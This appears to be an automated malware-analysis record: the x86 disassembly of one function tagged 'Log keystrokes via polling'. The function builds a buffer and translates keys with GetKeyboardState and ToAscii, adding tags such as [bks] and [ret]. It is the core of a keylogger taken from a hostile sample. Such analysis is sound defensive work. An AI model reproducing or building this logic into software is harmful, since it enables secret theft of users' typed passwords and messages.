Function at 0x1000d64a
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push edi
push 0xff
xor edi, edi
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov byte [ebp - 3], al
mov byte [ebp - 0x114], al
lea eax, [ebp - 0x113]
push edi
push eax
mov byte [ebp - 0xc], 0
call sub.ntdll.dll_memset
add esp, 0xc
cmp dword [ebx + 4], 0x100
mov dword [ebp - 0x10], edi
jne 0x1000d6c4
push esi
mov esi, dword [ebx + 0xc]
test esi, 0x10000000
jne 0x1000d6c3
mov eax, dword [ebx]
or esi, 0x10000000
mov dword [ebx + 0xc], esi
call fcn.1000d3f0
mov eax, dword [0x10055d3c]
mov ecx, dword [0x10055d38]
inc eax
mov dword [0x10055d3c], eax
mov dword [ebp + 8], eax
mov dword [ebp - 0x14], ecx
test ecx, ecx
jne 0x1000d56c
mov dword [ebp + 8], edi
test eax, eax
je 0x1000d567
mov ecx, dword [0x10054278]
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 8], eax
test eax, eax
je 0x1000d567
push edi
mov edx, eax
push 0
push edx
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, dword [ebp + 8]
jmp 0x1000d5a3
mov eax, dword [0x10054278]
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000d5a3
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov eax, dword [0x10054278]
add ecx, 0x1003
and ecx, 0xfffff000
push ecx
push edx
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edi, eax
mov dword [0x10055d38], edi
test edi, edi
je 0x1000d6c3
mov bl, byte [ebx + 8]
movsx eax, bl
add eax, 0xfffffff8
mov byte [ebp - 0xc], bl
cmp eax, 0x9b
ja case.0x1000d5cf.10
movzx ecx, byte [eax + 0x1000d6e8]
jmp dword [ecx*4 + 0x1000d6cc]
mov edx, dword [str._bks_]
mov ax, word [0x10047fd4]
mov dword [ebp - 0xc], edx
mov word [ebp - 8], ax
jmp 0x1000d680
mov ecx, dword [str._ret_]
mov dx, word [0x10047fdc]
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], dx
jmp 0x1000d680
mov eax, dword [str._tab_]
mov cx, word [0x10047fe4]
mov dword [ebp - 0xc], eax
mov word [ebp - 8], cx
jmp 0x1000d680
mov edx, dword [str._del_]
mov ax, word [0x10047fec]
mov dword [ebp - 0xc], edx
mov word [ebp - 8], ax
jmp 0x1000d680
mov ecx, dword [str._ins_]
mov dx, word [0x10047ff4]
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], dx
jmp 0x1000d680
mov byte [ebp - 0xc], 0
jmp 0x1000d680
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x1000d67a
movsx eax, byte [ebp - 0xc]
push 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x114]
push edx
push esi
push eax
call dword [sym.imp.USER32.dll_ToAscii]
mov cl, byte [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov edi, dword [0x10055d38]
lea eax, [ebp - 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000d686
sub eax, edx
je 0x1000d6c3
lea eax, [ebp - 0xc]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000d696
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000d6a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea edx, [ebp - 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call fcn.1000d000
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4